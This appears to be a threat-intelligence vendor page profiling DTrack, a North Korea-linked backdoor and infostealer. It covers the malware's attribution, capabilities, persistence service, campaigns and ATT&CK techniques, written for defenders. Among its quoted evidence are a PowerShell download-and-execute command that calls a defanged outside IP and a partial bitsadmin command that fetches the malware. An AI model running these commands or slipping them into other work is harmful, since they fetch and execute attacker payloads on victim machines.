Loading malware…
DTrack is a backdoor/infostealer malware family associated with North Korean threat activity, particularly Lazarus Group-linked operations and Andariel/Jumpy Pisces/Wassonite reporting. It was first publicly disclosed in late September 2019 and was reported targeting Indian financial institutions and research centers, including use against a nuclear power facility in India. The malware has been described as loosely connected to the earlier ATMDTrack family used in ATM theft.
Based on the provided content, DTrack is used for reconnaissance, remote access, credential and information theft, and as a dropper for follow-on payloads. Reported capabilities include collecting Windows Registry values such as RegisteredOwner, RegisteredOrganization, and InstallDate; retrieving browser history; keylogging; saving collected data to disk, multiple file formats, and network shares; and packing collected data into a password-protected archive prior to exfiltration. One report notes that it can compress data disguised as a GIF file. DTrack also contains functionality that calls LoadLibrary and GetProcAddress.
For persistence, DTrack can create a Windows service named WBService. The content also states that DTrack has used a dropper that embeds an encrypted payload as extra data, and that some variants hide inside replicas of legitimate programs such as OllyDbg, 7-Zip, and FileZilla. In one described deployment chain, a variant executed embedded shellcode that loaded a final in-memory Windows payload responsible for collecting victim information and sending it to a remote host.
Operationally, DTrack is repeatedly linked to North Korean intrusion activity. The content states that Wassonite operations rely on DTrack for remote access to victim machines, alongside credential capture tools and lateral movement utilities. It is also described in a 2024 Play ransomware incident where Jumpy Pisces/Andariel allegedly gained initial access via a compromised account, then spread Sliver and DTrack over SMB for persistence and lateral movement. Additional reporting in the content states Andariel deployed DTrack alongside Maui ransomware, and that mid-2022 Andariel Log4j exploitation activity led to DTrack being downloaded shortly after compromise.
High-confidence indicators and artifacts directly mentioned in the content include the malware/service name DTrack, aliases VinoSiren and Preft, the persistence service name WBService, and behavior involving collection of RegisteredOwner, RegisteredOrganization, InstallDate, and browser history.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
approximately ten hours prior to deploying Maui... the group deployed a variant of the well-known DTrack malware... Once this malware is spawned, it executes an embedded shellcode, loading a final Windows in-memory payload... responsible for collecting victim information and sending it to the remote host.
4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
They moved laterally and maintained access using custom-made malware called DTrack, an infostealer previously linked to North Korean threat groups.
WASSONITE operations rely on deploying DTrack malware for remote access to victim machines... Researchers first disclosed DTrack in late September 2019, and identified the tool targeting Indian financial institutions and research centers. DTrack is loosely connected to an earlier observed malware family, ATMDTrack, used for robbing ATM machines.
WASSONITE operations rely on deploying DTrack malware for remote access to victim machines... Researchers first disclosed DTrack in late September 2019.
"DTrack (also known as VinoSiren and Preft). DTrack was used in 2019 to target a nuclear power facility in India..."
27 distinct techniques documented for this family, organized by ATT&CK tactic.
North Korean actors performed the initial work of gaining access to the victim organization’s systems through a compromised user account in May 2024.
"The other victim operated a vulnerable Weblogic server... compromised this server via the CVE-2017-10271 exploit." | "In one victim system, we discovered that a well-known simple HTTP server, HFS7, had deployed the malware above. After an unknown exploit was used on a vulnerable HFS server and “whoami” was executed..."
"powershell.exe IEX (New-Object Net.WebClient).DownloadString('hxxp://145.232.235[.]222/usr/users/mini.ps1')"
During the 2016 Ukraine Electric Power Attack, Sandworm Team used the xp_cmdshell command in MS-SQL. During the 2025 Poland Wiper Attacks, the adversaries leveraged PsExec to run cmd.exe commands on multiple victim machines. Numerous malware families and groups are described as using cmd.exe, cmd /c, Windows command shell, or command-line interfaces to execute commands, payloads, reconnaissance, persistence, cleanup, and ransomware actions.
Astaroth uses the LoadLibraryExW() function to load additional modules. Attor's dispatcher can execute additional plugins by loading the respective DLLs. ... LightSpy's main executable and module .dylib binaries are loaded using ... dlopen() ... dlsym() ... RotaJakiro uses ... .so files ... using dlopen() and dlsym().
North Korean actors performed the initial work of gaining access to the victim organization’s systems through a compromised user account in May 2024.
"...downloading and executing the above DTrack malware via bitsadmin.exe: bitsadmin.exe /transfer myJob /download ..."
North Korean actors performed the initial work of gaining access to the victim organization’s systems through a compromised user account in May 2024.
During the 2016 Ukraine Electric Power Attack, DLLs and EXEs with filenames associated with common electric power sector protocols were used to masquerade files.
Examples throughout the content include deleting tools, logs, malware-related files, staged archives, screenshots, temporary files, and exfiltrated data 'to cover their tracks,' 'reduce their footprint,' 'remove traces of activity,' or as part of 'post-intrusion cleanup.'
The content repeatedly describes threat actors and malware deleting files, tools, scripts, logs, droppers, staged data, and artifacts from compromised systems to cover tracks, remove evidence, or self-delete.
North Korean actors performed the initial work of gaining access to the victim organization’s systems through a compromised user account in May 2024.
The content repeatedly describes malware and threat actors querying, enumerating, opening, and reading Windows Registry keys and values, e.g., "APT41 queried registry values to determine items such as configured RDP ports and network configurations" and "Reg may be used to gather details from the Windows Registry of a local or remote system at the command-line interface."
The content repeatedly describes malware and threat actors using commands and APIs such as ipconfig /all, ifconfig, arp -a, route print, nbtstat, netsh, GetAdaptersInfo, and GetIpNetTable to gather IP addresses, MAC addresses, DNS, DHCP, gateways, routing tables, ARP cache, proxy settings, domains, and network adapter/interface details.
The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.
The content is a long ATT&CK-style listing of malware and threat actors that collect host details such as OS version, hostname, architecture, CPU, memory, BIOS, language, and other basic system characteristics; examples include use of commands like systeminfo, ver, uname, sw_vers, and WMI queries.
The content repeatedly describes malware and threat actors listing files and directories, enumerating drives, searching for files by extension/name/path, retrieving file metadata, and browsing file systems (for example: "APT28 has used Forfiles to locate PDF, Excel, and Word documents during collection" and "cmd can be used to find files and directories with native functionality such as dir commands").
The content repeatedly describes threat actors and malware collecting, stealing, identifying, copying, or staging files, documents, credentials, logs, databases, and other information from compromised hosts or local systems.
The content repeatedly describes adversaries and malware storing collected data, command output, credentials, archives, or files in local temporary folders, working directories, hidden directories, registry locations, recycle bins, or specific files prior to exfiltration.
"AppleSeed has compressed collected data before exfiltration."; "APT28 used a publicly available tool to gather and compress multiple documents..."; "Aria-body has used ZIP to compress data..."; "Cadelspy...compress stolen data into a .cab file."; "Daserf hides collected data in password-protected .rar archives."; "FIN6 has compressed log files into a ZIP archive prior to staging and exfiltration."; "Lazarus Group has compressed exfiltrated data with RAR...archive specified directories in .zip format"; "XCSSET will compress entire ~/Desktop folders..."
14 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
46 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Lazarus-linked backdoor/RAT supporting file transfer, keylogging, screenshot capture, and lateral movement; newer variants use process hollowing (e.g., explorer.exe).
Custom North Korea-linked malware used for lateral movement and persistence in compromised environments.
Custom malware used to maintain access and steal information during intrusions; described here as an infostealer used by North Korean actors during initial access and lateral movement preceding a Play ransomware incident.
Custom Lazarus malware family used for persistence and remote access within victim environments.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.